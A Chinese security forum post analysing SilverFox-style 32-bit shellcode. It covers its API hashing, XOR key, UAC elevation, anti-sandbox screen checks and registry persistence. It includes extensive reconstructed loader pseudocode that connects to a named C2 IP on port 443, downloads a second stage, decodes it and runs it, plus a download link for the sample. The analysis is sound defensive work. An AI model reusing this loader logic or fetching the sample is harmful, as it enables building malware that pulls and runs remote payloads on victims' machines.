本帖最后由 Fadouse 于 2025-9-22 00:12 编辑
ES 双击 Kill
成功dump出shellcode & 识别黑dll
dump后发现stage1载荷为4kb 32位shellcode
下载地址: https://wormhole.app/LOBpx2#g8Z5CWF7rqjdFR_Fu78KbQ
shellcode基本信息:
shellcode vt 初扫结果:VirusTotal - File - f302ec849bb203de7b01ffc4d11c3ddf086834a09b5fce8a794660736c2914ae
- Kaspersky HEUR:Trojan.Multi.ShellCode.gen
- Rising Backdoor.SilverFox!1.104D6 (CLASSIC)
复制代码
字符串表
- Address Length Type String
- seg000:00000DF6 00000007 C &#$^&%
- seg000:00000E00 0000000F C D75D6500008AD3
- seg000:00000E72 00000017 C rocessorFeaturePresent
- seg000:00000EA1 00000028 C tlAddIntegrityLabelToBoundaryDescriptor
- seg000:00000ED9 00000021 C tlAllocateActivationContextStack
- seg000:00000F11 00000020 C tlAllocateWnfSerializationGroup
- seg000:00000F49 00000026 C tlActivateActivationContextUnsafeFast
- seg000:00000F81 00000021 C tWow64GetNativeSystemInformation
- seg000:00000FB9 00000020 C tWow64QueryInformationProcess64
复制代码
xor加解密函数(密钥D75D6500008AD3)
- <blockquote>int __usercall sub_81E@<eax>(unsigned __int8 *a1@<esi>, int a2, int a3)
复制代码
uac提权函数(弹出uac弹窗提权,社会工程学)
- <blockquote>int __usercall sub_9FD@<eax>(int a1@<edi>)
复制代码
具备反调试/反沙箱功能函数
- <blockquote>_BYTE *__usercall sub_933@<eax>(int a1@<eax>)
复制代码
PEB 遍历 + 哈希解析导出表的方式动态拿 API(sub_D69, sub_D1E, sub_D4D)
导入常见api
- kernel32.dll
- 0x1AB9B854 → GetProcAddress
- 0x7F201F78 → LoadLibraryA
- 0x3F858053 → Sleep
- 0x5E893462 → VirtualAlloc
- 0x06488073 → VirtualFree
- 0x09515A5A → CreateThread
- 0x2541DED7 → WaitForSingleObject
- …
- user32.dll
- GetSystemMetrics(用于拿 SM_CXSCREEN/SM_CYSCREEN:宽高)
- advapi32.dll
- 0x560D2316 → RegCreateKeyA(三参)
- 0x7CFD8D49 → RegOpenKeyExA(五参,但此处也有两参/三参配方,见下)
- 0x520D276D → RegSetValueExA
- 0x128DBF77 → RegCloseKey
- 0x634ED7A7 → RegQueryValueExA
- 0x1355B597 → RegFlushKey / RegCloseKey(该位点实际作 RegCloseKey 用)
- ws2_32.dll
- 0x33522634 → WSAStartup
- 0x26402D9F → socket
- 0x41539501 → getaddrinfo
- 0x785E7DD7 → freeaddrinfo
- 0x313A84C8 → htons
- 0x092B50DA → connect
- 0x0F8387DC → WSACleanup
- 0x0F6134B2 → closesocket
- 0x3A2FF219 → setsockopt
- 0x34A43BA8 → ioctlsocket
- 0x4FF42CCF → bind
- (recv/send 的哈希分别应是 0x0785C0CA/0x0660D1C3,在 sub_A81 里直接走 [ebx+4Ch]/[ebx+48h]作为 recv/send 使用)
- gdi32.dll(用于抓屏)
- 0x3239F2EB → CreateCompatibleBitmap
- 0x3288E377 → CreateCompatibleDC
- 0x1AD7E525 → BitBlt
- 0x495E766D → GetDIBits
- 0x40EDCEC3 → SelectObject
- 0x4A77AB92 → DeleteObject
- 0x19DD01DA → DeleteDC
- shell32.dll(用于 UAC 提权)
- 用的是 ShellExecuteExA(见 sub_9FD 的结构布置+"runas")
复制代码
调用GDI截屏函数 sub_86D
核心网络通信,循环解密并执行 第二阶段shellcode函数 sub_A81
- <blockquote>char __usercall sub_A81@<al>(int a1@<ebx>)
复制代码
执行下载载荷,构建config 函数 sub_C80
- <blockquote>int __usercall sub_C80@<eax>(int a1@<edi>, int a2, int a3, int a4, int a5)
复制代码
更具以上函数
大致行为重写(GPT5实现, 伪代码)- // 导出表名字哈希(sub_D4D / sub_D1E:131 乘法哈希,大小写无关 / 宽字节版)
- static uint32_t hash_name_ascii(const char* s) { // sub_D4D
- uint32_t h = 0;
- for (unsigned char c; (c = *s++) != 0; )
- h = (int8_t)c + 131 * h;
- return h & 0x7FFFFFFF;
- }
- static uint32_t hash_name_wide(const wchar_t* s, int n) { // sub_D1E
- uint32_t h = 0;
- for (int i = 0; i < n; ++i) {
- uint16_t ch = s[i];
- if (ch >= 'a') ch -= 32; // to upper
- h = (uint16_t)ch + 131 * h;
- }
- return h & 0x7FFFFFFF;
- }
- // 出口解析器(从模块基址+哈希找函数地址;若给了回调=GetProcAddress,也会用回调返回)
- // 对应 sub_D69
- FARPROC ResolveByHash(HMODULE modBase, uint32_t target_hash, FARPROC optGetProc /*可为NULL*/) {
- // ……遍历 modBase 的导出表,按名字做 131 乘法哈希(sub_D4D)……
- // 命中 target_hash 时:
- // 如果 optGetProc != NULL:return optGetProc(modBase, "MatchedName");
- // 否则:根据 ordinal -> AddressTable 返回真实地址
- }
- // 轻量“解码器”(按 10 字节轮次,使用 key[0], key[1]、key[i%10] 和取模/异或;对应 sub_81E)
- void XorFixDecode(uint8_t* key /*ESI*/, uint8_t* buf /*a2*/, int len /*a3*/) {
- int iSel = 0;
- for (int i = 0; i < len; ++i) {
- uint8_t denom = key[0] ? key[0] : 1; // 除数为 0 时用 1
- uint8_t add = key[1];
- uint8_t modv = key[iSel] % denom;
- buf[i] ^= (uint8_t)(add + modv);
- if (++iSel == 10) iSel = 0; // 每 10 字节一轮
- }
- }
- // “屏幕采集到缓冲区”(GDI 路径,BitBlt + GetDIBits;对应 sub_86D)
- // a2=目标缓冲;a3=宽;a4=高
- bool CaptureScreenToBuffer(API& A, uint8_t* out, int cx, int cy) {
- // v12 = GetDC(NULL)
- // 准备 BITMAPINFOHEADER(biSize=0x28, biWidth=cx, biHeight=-cy, biPlanes=1, biBitCount=32, biCompression=BI_RGB)
- // hMemDC = CreateCompatibleDC(hdc);
- // hBitmap = CreateCompatibleBitmap(hdc, cx, cy);
- // SelectObject(hMemDC, hBitmap);
- // BitBlt(hMemDC,0,0,cx,cy, hdc,0,0, SRCCOPY(0x00CC0020));
- // GetDIBits(hMemDC, hBitmap, 0, cy, out, &bmi, DIB_RGB_COLORS);
- // 清理:SelectObject(old), DeleteObject, DeleteDC, ReleaseDC
- // 返回是否成功
- }
- // “屏幕变化阈值判定循环”(对应 sub_933)
- bool WaitScreenStableThenReturn(API& A) {
- int w = A.GetSystemMetrics(SM_CXSCREEN); //
- int h = A.GetSystemMetrics(SM_CYSCREEN); //
- size_t bytes = (size_t)w * h * 4;
- uint8_t* bufA = (uint8_t*)A.VirtualAlloc(nullptr, bytes, MEM_COMMIT, PAGE_READWRITE);
- uint8_t* bufB = (uint8_t*)A.VirtualAlloc(nullptr, bytes, MEM_COMMIT, PAGE_READWRITE);
- if (!bufA || !bufB) return false;
- // 先拍一帧,后面 1800 次(~1小时)每次间隔 2s 对比差异,超过 20000 字节就认为“变化太大”
- if (!CaptureScreenToBuffer(A, bufA, w, h)) return false;
- for (int i = 0; i < 1800; ++i) {
- A.Sleep(2000);
- if (!CaptureScreenToBuffer(A, bufB, w, h)) return false;
- int diff = 0;
- for (size_t k = 0; k < bytes; ++k) if (bufA[k] != bufB[k]) ++diff;
- if (diff > 20000) return true; // 有明显活动/变化,放行
- }
- return false;
- }
- // 以 UAC “runas” 复活(对应 sub_9FD):GetModuleFileName + ShellExecuteEx(Verb="runas")
- bool RelaunchElevatedAndExit(API& A) {
- wchar_t path[260];
- if (!A.GetModuleFileNameW(NULL, path, 260)) return false;
- SHELLEXECUTEINFOW si = { sizeof(si) };
- si.fMask = SEE_MASK_NOCLOSEPROCESS; // 对应代码里设置了 0x40
- si.lpVerb = L"runas";
- si.lpFile = path;
- bool ok = A.ShellExecuteExW(&si);
- if (ok) A.ExitProcess(0);
- return ok;
- }
- // 把 payload 持久化到注册表(对应 sub_C80):HKCU\{SubKey}\Value="0" REG_BINARY
- bool PersistToRegistry(API& A, const wchar_t* subKey, const void* data, DWORD len) {
- // 注意:写入前后都对 data 做同样的 XorFixDecode( key = cfg+0x0A ),写完再“复位”
- HKEY h = nullptr;
- DWORD tmp = 0;
- XorFixDecode((uint8_t*)(A.cfg + 0x0A), (uint8_t*)data, len);
- if (A.RegOpenKeyExW(HKEY_CURRENT_USER, subKey, 0, KEY_SET_VALUE, &h) == 0) {
- A.RegSetValueExW(h, L"0", 0, REG_BINARY, (const BYTE*)data, len);
- A.RegCloseKey(h);
- }
- XorFixDecode((uint8_t*)(A.cfg + 0x0A), (uint8_t*)data, len); // 复位
- return true;
- }
- // 调用二阶段入口(对应 sub_CF9):把 cfg 各字段打包传给下载/解包器入口
- using StageEntry = int (__stdcall*)(void*, void*, void*, DWORD, DWORD, BYTE);
- void InvokeStage(API& A) {
- // [esi+0xDC] 存的是“下载缓冲解码后”的可执行入口地址(见 sub_A81 末尾)
- auto entry_factory = (StageEntry)(A.stageEntryThunk)(); // 先 call 一下,返回真正入口
- auto cfg = A.cfg;
- entry_factory(cfg + 0x28, // 参数 1
- cfg + 0x0A, // 参数 2(也是 xor key 起点)
- cfg + 0x46, // 参数 3
- *(DWORD*)(cfg+0x64), // 参数 4
- 0, // 参数 5(恒 0)
- *(BYTE*)(cfg+0x68)); // 参数 6
- }
- // 直连 C2 拉取二阶段;握手字节固定 'y'(0x79);按块接收 -> 解码 -> 持久化 -> 运行
- bool DownloadAndRunStage(API& A) {
- // 1) 创建 TCP
- SOCKET s = A.WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, nullptr, 0, 0);
- A.sock = s;
- if ((intptr_t)s == -1) goto FAIL;
- // 2) 从 cfg 搬出目标 sockaddr(sub_A81 中有 4 次 movsd 把 16 字节结构拷到 [a1+0xCC])
- sockaddr_in sa = {};
- memcpy(&sa, A.cfg, sizeof(sa)); // cfg[0..15] 预置了 family, port, addr
- sa.sin_port = A.htons(*(uint16_t*)(A.cfg + 0x64)); // 再根据 cfg+0x64 修正端口
- // 注:IP/端口就在 cfg 里(你给的 206.119.175.162:443 就是这里来的)
- // 3) 连接
- if (A.connect(s, (sockaddr*)&sa, sizeof(sa)) == SOCKET_ERROR) goto FAIL;
- // 4) 发送单字节握手 0x79
- char y = 'y';
- if (A.send(s, &y, 1, 0) <= 0) goto FAIL;
- // 5) 分配两个缓冲:接收区 recvBuf(0x7F800),解码/执行区 execBuf(0x7D00E 起)
- void* execBuf = A.VirtualAlloc(nullptr, 0x7D00E, MEM_COMMIT, PAGE_READWRITE); // [a1+0xDC]
- if (!execBuf) goto FAIL;
- A.stageEntryThunk = execBuf; // 之后会 call [a1+0xDC] 作为 thunk
- char* recvBuf = (char*)A.VirtualAlloc(nullptr, 0x7F800, MEM_COMMIT, PAGE_READWRITE);
- if (!recvBuf) goto FAIL;
- // 6) 第一次接收:读取 4 字节/若干头部 -> 得到期望总长度 expectedLen(sub_A81 里先把前 4 字节复制到 var_10)
- DWORD expectedLen = 0;
- int got = A.recv(s, recvBuf, 0x7D000, 0);
- if (got <= 0) goto FAIL;
- // 解析头 4 字节(长度),并把“头后若干字节”解混淆到 execBuf 起始位置(用 XorFixDecode,见 sub_A81 的两处 81E)
- memcpy(&expectedLen, recvBuf, 4);
- if (got <= 0x0E) goto FAIL; // 长度太短直接失败
- // 头部后的 0x0E 字节不直接保留,真实数据从 offset=0x0E 进入 execBuf
- memcpy((uint8_t*)execBuf + 0, recvBuf + 0, got); // 先临时拼接
- XorFixDecode((uint8_t*)(A.cfg + 0x0A), (uint8_t*)&expectedLen, 4); // 解开长度字段
- XorFixDecode((uint8_t*)(A.cfg + 0x0A),
- (uint8_t*)execBuf + 4, 4); // 也对后续需要的控制字段解开
- // 循环继续拉到 expectedLen
- int total = got;
- while (total < (int)expectedLen) {
- int chunk = A.recv(s, recvBuf, 0x7D000, 0);
- if (chunk <= 0) goto FAIL;
- // 叠加到 execBuf 的后面
- A.memcpy((uint8_t*)execBuf + total, recvBuf, chunk);
- total += chunk;
- }
- // 7) 把“主体 (total-0x0E)” 进行解码(密钥 key = cfg+0x0A;sub_A81 两次 81E:一次对 4 字节头、一处对主体)
- A.VirtualFree(recvBuf, 0, 0x8000);
- XorFixDecode((uint8_t*)(A.cfg + 0x0A), (uint8_t*)execBuf + 0x0E, total - 0x0E);
- // 8) 持久化:把 execBuf 内容(expectedLen)写入 HKCU\{cfgSubKey}\ValueName="0"(sub_C80)
- PersistToRegistry(A, (const wchar_t*)(A.cfg + 0x0A), execBuf, expectedLen);
- // 9) 调用“二阶段入口”:sub_CF9
- InvokeStage(A);
- return true;
- FAIL:
- // 收尾(sub_A81 尾部清理)
- A.Sleep(5000);
- if (A.cfgHandle) A.LocalFree(A.cfgHandle);
- if ((intptr_t)A.sock != -1) A.closesocket(A.sock);
- if (execBuf) A.VirtualFree(execBuf, 0, 0x8000);
- if (recvBuf) A.VirtualFree(recvBuf, 0, 0x8000);
- return false;
- }
- // 伪入口(对应整个 seg000 主体)
- int __stdcall Entry() {
- // --------- 1) 自身基址/配置定位 ----------
- // 取返回地址(sub_DF0 返回 [esp]),从那里向后扫描 magic "*^&#$^&%"(loc_26..loc_68)
- uint8_t* self = GetReturnAddress();
- uint8_t* cfg = memmem(self, 0x182B8, "*^&#$^&%", 8) ? (self + foundOff) : nullptr;
- // --------- 2) 通过 PEB 遍历找 kernel32 基址 + 组装哈希解析器 ----------
- HMODULE k32 = FindModuleBaseByHash( /*hash_wide("KERNEL32.DLL")*/ 0x1CCA9CE6 );
- if (!k32) return 0;
- API A = {}; // IDA 里一大坨 [esp+??] 的“函数表”
- A.cfg = cfg; // 保存配置块基址,后续大量使用
- // kernel32 导出解析(sub_D69)——以下哈希常量对应的函数名我直接用语义命名
- A.GetModuleHandleA = (HMODULE (WINAPI*)(LPCSTR)) ResolveByHash(k32, H_GETMODULEHANDLEA, nullptr);
- A.LoadLibraryA = (HMODULE (WINAPI*)(LPCSTR)) ResolveByHash(k32, H_LOADLIBRARYA, nullptr);
- A.GetProcAddress = (FARPROC (WINAPI*)(HMODULE,LPCSTR))
- ResolveByHash(k32, H_GETPROCADDRESS, nullptr);
- A.Sleep = (void (WINAPI*)(DWORD)) ResolveByHash(k32, H_SLEEP, nullptr);
- A.VirtualAlloc = (LPVOID (WINAPI*)(LPVOID,SIZE_T,DWORD,DWORD))
- ResolveByHash(k32, H_VIRTUALALLOC, nullptr);
- A.VirtualFree = (BOOL (WINAPI*)(LPVOID,SIZE_T,DWORD))
- ResolveByHash(k32, H_VIRTUALFREE, nullptr);
- A.ExitProcess = (void (WINAPI*)(UINT)) ResolveByHash(k32, H_EXITPROCESS, nullptr);
- A.memcpy = (void* (__cdecl*)(void*,const void*,size_t))
- ResolveByHash(k32, H_RTLMOVEMEMORY /*或 memcpy */, nullptr);
- // ntdll/user32/advapi32/ws2_32/gdi32/shell32 等按需加载
- HMODULE ntdll = A.GetModuleHandleA("ntdll") ?: A.LoadLibraryA("ntdll");
- HMODULE user32 = A.GetModuleHandleA("user32.dll") ?: A.LoadLibraryA("user32.dll");
- HMODULE advapi = A.GetModuleHandleA("advapi32") ?: A.LoadLibraryA("advapi32");
- HMODULE ws2 = A.GetModuleHandleA("WS2_32.dll") ?: A.LoadLibraryA("WS2_32.dll");
- HMODULE gdi32 = A.GetModuleHandleA("gdi32.dll") ?: A.LoadLibraryA("gdi32.dll");
- HMODULE shell = A.GetModuleHandleA("Shell32.dll")?: A.LoadLibraryA("Shell32.dll");
- // 解析需要的函数指针(哈希→函数名,这里直接给出语义):
- // advapi32:RegOpenKeyExW / RegQueryValueExW / RegSetValueExW / RegCloseKey ...
- A.RegOpenKeyExW = (decltype(A.RegOpenKeyExW)) ResolveByHash(advapi, H_REGOPENKEYEXW, nullptr);
- A.RegQueryValueExW= (decltype(A.RegQueryValueExW))ResolveByHash(advapi, H_REGQUERYVALUEEXW, nullptr);
- A.RegSetValueExW = (decltype(A.RegSetValueExW)) ResolveByHash(advapi, H_REGSETVALUEEXW, nullptr);
- A.RegCloseKey = (decltype(A.RegCloseKey)) ResolveByHash(advapi, H_REGCLOSEKEY, nullptr);
- // ws2_32:WSAStartup / WSASocketA / connect / send / recv / closesocket / htons
- A.WSAStartup = (decltype(A.WSAStartup)) ResolveByHash(ws2, H_WSASTARTUP, nullptr);
- A.WSASocket = (decltype(A.WSASocket)) ResolveByHash(ws2, H_WSASOCKET, nullptr);
- A.connect = (decltype(A.connect)) ResolveByHash(ws2, H_CONNECT, nullptr);
- A.send = (decltype(A.send)) ResolveByHash(ws2, H_SEND, nullptr);
- A.recv = (decltype(A.recv)) ResolveByHash(ws2, H_RECV, nullptr);
- A.closesocket = (decltype(A.closesocket)) ResolveByHash(ws2, H_CLOSESOCKET,nullptr);
- A.htons = (decltype(A.htons)) ResolveByHash(ws2, H_HTONS, nullptr);
- // user32/gdi32:GetSystemMetrics / GetDC / CreateCompatibleDC / CreateCompatibleBitmap /
- // SelectObject / BitBlt / GetDIBits / DeleteObject / DeleteDC / ReleaseDC
- A.GetSystemMetrics= (decltype(A.GetSystemMetrics))ResolveByHash(user32, H_GETSYSTEMMETRICS, nullptr);
- A.GetDC = (decltype(A.GetDC)) ResolveByHash(user32, H_GETDC, nullptr);
- A.ReleaseDC = (decltype(A.ReleaseDC)) ResolveByHash(user32, H_RELEASEDC, nullptr);
- A.CreateCompatibleDC = (decltype(A.CreateCompatibleDC))ResolveByHash(gdi32, H_CREATECOMPATIBLED, nullptr);
- A.CreateCompatibleBitmap= (decltype(A.CreateCompatibleBitmap))ResolveByHash(gdi32, H_CREATECOMPATIBLEBMP, nullptr);
- A.SelectObject = (decltype(A.SelectObject)) ResolveByHash(gdi32, H_SELECTOBJECT, nullptr);
- A.BitBlt = (decltype(A.BitBlt)) ResolveByHash(gdi32, H_BITBLT, nullptr);
- A.GetDIBits = (decltype(A.GetDIBits)) ResolveByHash(gdi32, H_GETDIBITS, nullptr);
- A.DeleteObject = (decltype(A.DeleteObject)) ResolveByHash(gdi32, H_DELETEOBJECT, nullptr);
- A.DeleteDC = (decltype(A.DeleteDC)) ResolveByHash(gdi32, H_DELETEDC, nullptr);
- // shell32:ShellExecuteExW
- A.ShellExecuteExW = (decltype(A.ShellExecuteExW)) ResolveByHash(shell, H_SHELLEXECUTEEXW, nullptr);
- // kernel32:GetModuleFileNameW
- A.GetModuleFileNameW = (decltype(A.GetModuleFileNameW)) ResolveByHash(k32, H_GETMODULEFILENAMEW, nullptr);
- // --------- 3) 根据 cfg 的标志位走不同支路 ----------
- // cfg[0x69] != 0 → 试图 UAC 提权 "runas"
- if (*(uint8_t*)(cfg + 0x69) != 0) {
- RelaunchElevatedAndExit(A); // sub_9FD 路径
- }
- // cfg[0x6A] != 0 → 执行屏幕稳定性检测(典型沙箱绕过/等待真实用户活动)
- if (*(uint8_t*)(cfg + 0x6A) != 0) {
- // WSAStartup(2.2, &wsaData) 之前的一些准备
- // 但实际 sub_933 里是单独被 flag[0x6B] 控制,这里归类说明:
- WaitScreenStableThenReturn(A); // sub_933
- }
- // --------- 4) 尝试从注册表读取已有的持久化二阶段 ----------
- // Key: HKCU\{cfg+0x0A 指向的子键字符串}, Value: "0", Type: REG_BINARY, Len 在调用 RegQueryValueExW 时得出
- DWORD cb = 0; HKEY h = nullptr;
- if (A.RegOpenKeyExW(HKEY_CURRENT_USER, (wchar_t*)(cfg + 0x0A), 0, KEY_QUERY_VALUE, &h) == 0) {
- // 查询长度
- DWORD type = 3; cb = 0;
- A.RegQueryValueExW(h, L"0", nullptr, &type, nullptr, &cb);
- void* execBuf = A.VirtualAlloc(nullptr, 0x7D00E, MEM_COMMIT, PAGE_READWRITE); // [esp+144h] = edi
- void* tmpBuf = A.VirtualAlloc(nullptr, cb ? cb : 0x7F800, MEM_COMMIT, PAGE_READWRITE);
- if (execBuf && tmpBuf) {
- // 读出数据到 tmpBuf
- if (A.RegQueryValueExW(h, L"0", nullptr, &type, (BYTE*)tmpBuf, &cb) == 0) {
- if (cb > 0x2800) {
- // 大于阈值:认为是加壳的二阶段 -> 解码 -> 调用
- // 先把前 4 字节长度/控制字段按 sub_81E 弄一遍,再把主体按 sub_81E 弄一遍
- XorFixDecode((uint8_t*)(cfg + 0x0A), (uint8_t*)tmpBuf, 4);
- XorFixDecode((uint8_t*)(cfg + 0x0A), (uint8_t*)tmpBuf+0x0E, cb-0x0E);
- memcpy(execBuf, tmpBuf, cb); // “解码到执行区”
- A.stageEntryThunk = execBuf;
- InvokeStage(A); // sub_CF9
- } else {
- // 否则按“函数指针”对待:直接跳转执行(sub_7C4: call edi; call eax)
- auto p = (int (WINAPI*)(void))execBuf;
- p(); ((int (WINAPI*)(void))(*(void**)execBuf))();
- }
- }
- }
- if (h) A.RegCloseKey(h);
- }
- // --------- 5) 若注册表没有,就走在线下载 ----------
- WSADATA wd;
- while (A.WSAStartup(MAKEWORD(2,2), &wd) != 0) {
- // 重试直到成功(主循环里 Sleep(1000) × 4 再重来)
- for (int i=0;i<4;i++){ A.Sleep(1000); }
- }
- if (*(uint8_t*)(cfg + 0x6B) != 0) {
- // 如果配置允许,还会先做一轮屏幕活动检测(sub_933)
- WaitScreenStableThenReturn(A);
- }
- // 直连 C2,下载、解码、持久化并运行(sub_A81 -> sub_C80 -> sub_CF9)
- DownloadAndRunStage(A);
- return 1;
- }
复制代码
当前shellcode 使用的配置解析(伪代码)- struct NetworkConfiguration {
- // IP地址配置
- char target_ip[] = "206.119.175.162"; // 主C2服务器
-
- // 版本标识
- char version[] = "2.6.11.7.16.52"; // 恶意软件版本
- //stage 2 shellcode解密密钥
- char xorkey[] = "D75D6500008AD3"
- // 连接参数
- uint32_t max_download_size = 0x7F800; // 522KB 最大下载
- uint32_t chunk_size = 0x7D000; // 512KB 分块大小
- uint16_t default_port = 443; // HTTPS端口伪装
-
- // 握手协议
- uint8_t handshake_byte = 0x79; // 'y' - 握手标识
-
- // 超时设置
- uint32_t connection_timeout = 5000; // 5秒连接超时
- uint32_t operation_timeout = 1000; // 1秒操作超时
- };
复制代码
总结
自带配置定位:入口从自身代码尾部扫描魔术串 *^&#$^&%,其后是一段配置块(包含 sockaddr_in、端口、注册表子键、标志位和 XOR key 等)。 无导入运行:通过 PEB → 导出表 + 131 乘法哈希(sub_D4D/sub_D1E/sub_D69)解析 kernel32/ntdll/user32/gdi32/advapi32/ws2_32/shell32 的关键 API。 提权分支:若 cfg[0x69]!=0,构造 SHELLEXECUTEINFO,lpVerb="runas" 调 ShellExecuteEx 复活为管理员(sub_9FD)。 环境/用户活动探测:可选的屏幕采集与“变化字节数阈值”检测(>20000)——典型反沙箱/等真实操作策略(sub_86D + sub_933)。 持久化:下载或已有 payload 会写入 HKCU\{SubKey}\ValueName="0",类型 REG_BINARY(写前后都用 sub_81E 的 XOR 轻混淆;sub_C80)。 网络拿二阶段:WSAStartup → WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP) → connect(cfg.ip:cfg.port) → send('y') → recv 分块 → XorFixDecode → 落地注册表 → 调用(sub_A81)。 执行二阶段:call [stageEntryThunk] 得到真正入口,再把 cfg+{0x28,0x0A,0x46,0x64,0x68} 等参数传入执行(sub_CF9),通常是内存 PE 加载/解压/解密器。
行为符合部分银狐样本,但不能确定
|